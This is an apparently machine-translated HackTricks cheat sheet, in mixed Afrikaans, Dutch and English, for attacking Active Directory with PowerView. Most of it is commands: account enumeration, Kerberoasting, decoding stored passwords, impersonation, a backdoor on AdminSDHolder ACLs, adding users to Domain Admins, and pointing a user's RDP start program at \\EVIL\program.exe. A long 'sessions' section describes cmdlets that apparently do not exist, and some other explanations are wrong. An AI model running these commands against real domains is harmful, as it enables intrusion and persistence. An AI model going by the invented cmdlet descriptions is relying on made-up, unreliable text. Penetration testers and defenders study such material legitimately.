hacktricks/windows-hardening/basic-powershell-for-pentesters/powerview.md
2024-02-11 02:07:06 +00:00

29 KiB

PowerView/SharpView

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Die mees onlangse weergawe van PowerView sal altyd in die dev-tak van PowerSploit wees: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

SharpView is 'n .NET-port van PowerView

Vinnige opname

Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Domein inligting

# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID

# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy

# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller

# Get Forest info
Get-ForestDomain

Gebruikers, Groepe, Rekenaars & OU's

Get-DomainUser

Die Get-DomainUser bevel word gebruik om inligting oor gebruikers in die domein te verkry. Dit sluit in gebruikersname, volle naam, beskrywing, e-posadres, telefoonnommer, en nog baie meer.

Get-DomainUser

Get-DomainGroup

Die Get-DomainGroup bevel word gebruik om inligting oor groepe in die domein te verkry. Dit sluit in die groepnaam, beskrywing, groepsekerheid, en nog baie meer.

Get-DomainGroup

Get-DomainComputer

Die Get-DomainComputer bevel word gebruik om inligting oor rekenaars in die domein te verkry. Dit sluit in die rekenaarnaam, beskrywing, operasiestelsel, en nog baie meer.

Get-DomainComputer

Get-DomainOU

Die Get-DomainOU bevel word gebruik om inligting oor organisatoriese eenhede (OUs) in die domein te verkry. Dit sluit in die OU-naam, beskrywing, en nog baie meer.

Get-DomainOU
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups

# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups

#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)

Aantekening en Sessies

PowerView biedt verschillende cmdlets om informatie te verkrijgen over logons en sessies op een Windows-systeem. Deze informatie kan nuttig zijn tijdens een pentest om de activiteit van gebruikers te begrijpen en mogelijke aanvalspunten te identificeren.

Get-NetLoggedon

De Get-NetLoggedon cmdlet geeft informatie over gebruikers die momenteel zijn ingelogd op het systeem. Het retourneert de gebruikersnaam, het domein, het logontype en het logonproces van elke ingelogde gebruiker.

Get-NetLoggedon

Get-NetSession

De Get-NetSession cmdlet geeft informatie over actieve sessies op het systeem. Het retourneert de gebruikersnaam, het domein, de computernaam, de sessie-ID en de tijd van de laatste activiteit voor elke sessie.

Get-NetSession

Get-NetSessionComputer

De Get-NetSessionComputer cmdlet geeft informatie over de computers waarmee momenteel sessies zijn geopend. Het retourneert de computernaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionComputer

Get-NetSessionUser

De Get-NetSessionUser cmdlet geeft informatie over de gebruikers die momenteel sessies hebben geopend. Het retourneert de gebruikersnaam, het domein, het aantal sessies en de computernamen van de sessies.

Get-NetSessionUser

Get-NetSessionGroup

De Get-NetSessionGroup cmdlet geeft informatie over de groepen waartoe de gebruikers behoren die momenteel sessies hebben geopend. Het retourneert de groepsnaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionGroup

Get-NetSessionID

De Get-NetSessionID cmdlet geeft informatie over een specifieke sessie op basis van de sessie-ID. Het retourneert de gebruikersnaam, het domein, de computernaam en de tijd van de laatste activiteit voor de sessie met de opgegeven sessie-ID.

Get-NetSessionID -SessionID <sessie-ID>

Get-NetSessionIDUser

De Get-NetSessionIDUser cmdlet geeft informatie over de gebruikers die momenteel sessies hebben geopend op basis van de sessie-ID. Het retourneert de gebruikersnaam, het domein, het aantal sessies en de computernamen van de sessies.

Get-NetSessionIDUser -SessionID <sessie-ID>

Get-NetSessionIDComputer

De Get-NetSessionIDComputer cmdlet geeft informatie over de computers waarmee momenteel sessies zijn geopend op basis van de sessie-ID. Het retourneert de computernaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionIDComputer -SessionID <sessie-ID>

Get-NetSessionIDGroup

De Get-NetSessionIDGroup cmdlet geeft informatie over de groepen waartoe de gebruikers behoren die momenteel sessies hebben geopend op basis van de sessie-ID. Het retourneert de groepsnaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionIDGroup -SessionID <sessie-ID>

Get-NetSessionIDServer

De Get-NetSessionIDServer cmdlet geeft informatie over de server waarmee een specifieke sessie is geopend op basis van de sessie-ID. Het retourneert de servernaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionIDServer -SessionID <sessie-ID>

Get-NetSessionIDServerUser

De Get-NetSessionIDServerUser cmdlet geeft informatie over de gebruikers die momenteel sessies hebben geopend op een specifieke server op basis van de sessie-ID. Het retourneert de gebruikersnaam, het domein, het aantal sessies en de computernamen van de sessies.

Get-NetSessionIDServerUser -SessionID <sessie-ID>

Get-NetSessionIDServerComputer

De Get-NetSessionIDServerComputer cmdlet geeft informatie over de computers waarmee momenteel sessies zijn geopend op een specifieke server op basis van de sessie-ID. Het retourneert de computernaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionIDServerComputer -SessionID <sessie-ID>

Get-NetSessionIDServerGroup

De Get-NetSessionIDServerGroup cmdlet geeft informatie over de groepen waartoe de gebruikers behoren die momenteel sessies hebben geopend op een specifieke server op basis van de sessie-ID. Het retourneert de groepsnaam, het domein, het aantal sessies en de gebruikersnamen van de sessies.

Get-NetSessionIDServerGroup -SessionID <sessie-ID>
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)

Groeppolisie-objek - GPO's

As 'n aanvaller hoë voorregte oor 'n GPO het, kan hy dit misbruik deur dit te gebruik vir privilege eskalasie deur toestemmings aan 'n gebruiker toe te voeg, 'n plaaslike administrateurgebruiker aan 'n gasheer toe te voeg of 'n geskeduleerde taak te skep (onmiddellik) om 'n aksie uit te voer.
Vir meer inligting hieroor en hoe om dit te misbruik, volg hierdie skakel.

#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy

# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532

# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126

# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'

# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType

# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

Leer hoe om regte oor GPO's en ACL's uit te buit in:

{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %} acl-persistence-abuse {% endcontent-ref %}

ACL

#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs

#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

Gedeelde lêers en vouers

PowerView provides several functions to enumerate shared files and folders on a target system. These functions can be useful for gathering information about the file and folder permissions, as well as identifying potential vulnerabilities.

Get-NetShare

The Get-NetShare function retrieves a list of shared folders on the target system. It provides information such as the share name, local path, and description of each shared folder.

Get-NetShare

Get-NetFileServer

The Get-NetFileServer function enumerates file servers on the target system. It retrieves information about the file server, including the server name, domain, and operating system.

Get-NetFileServer

Get-NetFileShare

The Get-NetFileShare function retrieves information about file shares on the target system. It provides details such as the share name, local path, and permissions associated with each file share.

Get-NetFileShare

Get-NetSession

The Get-NetSession function enumerates active sessions on the target system. It retrieves information about the user, computer, and session ID associated with each active session.

Get-NetSession

Get-NetLoggedon

The Get-NetLoggedon function retrieves information about users who are currently logged on to the target system. It provides details such as the user name, domain, and logon time for each logged-on user.

Get-NetLoggedon

By using these PowerView functions, you can gain valuable insights into shared files and folders on a target system, allowing you to identify potential security weaknesses and vulnerabilities.

Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters

Domeinvertroue

Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest

Laerhangende vrugte

#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess

#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember

#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]

#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"

#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

Verwyderde voorwerpe

Die Get-DomainDeletedObject-bevel word gebruik om verwyderde voorwerpe in 'n domein te vind. Hierdie voorwerpe sluit gebruikers, groepe, rekenaars en OU's in. Die bevel kan gebruik word om inligting oor die verwyderde voorwerp te verkry, soos die naam, SID, laaste veranderingdatum en meer. Hier is 'n voorbeeld van hoe die bevel gebruik kan word:

Get-DomainDeletedObject

Die uitset van die bevel sal 'n lys van verwyderde voorwerpe in die domein wees.

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

MISC

SID na Naam

"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName

Kerberoast

Kerberoasting is 'n aanvalstegniek wat gebruik maak van die kwesbaarheid in die Kerberos-verifikasieprotokol om die gehashte wagwoorde van diensrekeninge te verkry. Hierdie aanval maak gebruik van die feit dat diensrekeninge dikwels swak wagwoorde het en dat die gehashte wagwoorde in die Active Directory-databasis gestoor word. Die aanvaller kan die gehashte wagwoorde verkry en dit dan ontsifreer om toegang tot die rekening se inligting te verkry.

Om Kerberoasting uit te voer, gebruik die aanvaller die PowerView-hulpmiddel in PowerShell om 'n lys van diensrekeninge te verkry. Dan kan die aanvaller die gehashte wagwoorde van hierdie rekeninge verkry deur 'n spesifieke Kerberos-dienstiket aan te vra. Die aanvaller kan dan die gehashte wagwoorde ontsifreer deur gebruik te maak van 'n aanvalstegniek soos brute krag of woordelysgebaseerde aanvalle.

Kerberoasting is 'n effektiewe aanvalstegniek omdat dit die aanvaller in staat stel om toegang te verkry tot wagwoorde wat dikwels swak is en hergebruik word deur diensrekeninge. Dit is belangrik vir organisasies om sterk wagwoordbeleide te implementeer en om diensrekeninge te monitor vir enige verdagte aktiwiteit.

Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users

Gebruik verskillende geloofsbriewe (argument)

Om toegang te krijgen tot bronnen met verschillende geloofsbriewe, kan die argument "-Credential" gebruik word in die PowerView-module. Hiermee kan jy spesifieke geloofsbriewe verskaf vir die uitvoering van sekere aksies. Byvoorbeeld:

Get-DomainUser -Credential $cred

Hierdie voorbeeld wys hoe om die "Get-DomainUser" bevel uit te voer met die geloofsbriewe wat in die "$cred" veranderlike gestoor word. Dit stel jou in staat om toegang te verkry tot die domein-gebruikersinligting met die spesifieke geloofsbriewe wat jy verskaf het.

# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

Impersonateer 'n gebruiker

Om 'n gebruiker te impersonateer in PowerShell, kan jy die Invoke-UserImpersonation-funksie gebruik wat beskikbaar is in die PowerView-module. Hier is die sintaksis vir die gebruik van hierdie funksie:

Invoke-UserImpersonation -Username <gebruikersnaam>

Hierdie funksie sal 'n nuwe PowerShell-sessie open as die gespesifiseerde gebruiker. Dit kan handig wees vir die uitvoering van sekere aksies of ondersoeke as 'n spesifieke gebruiker sonder om hul wagwoord te ken.

# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf

Stel waardes in

# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!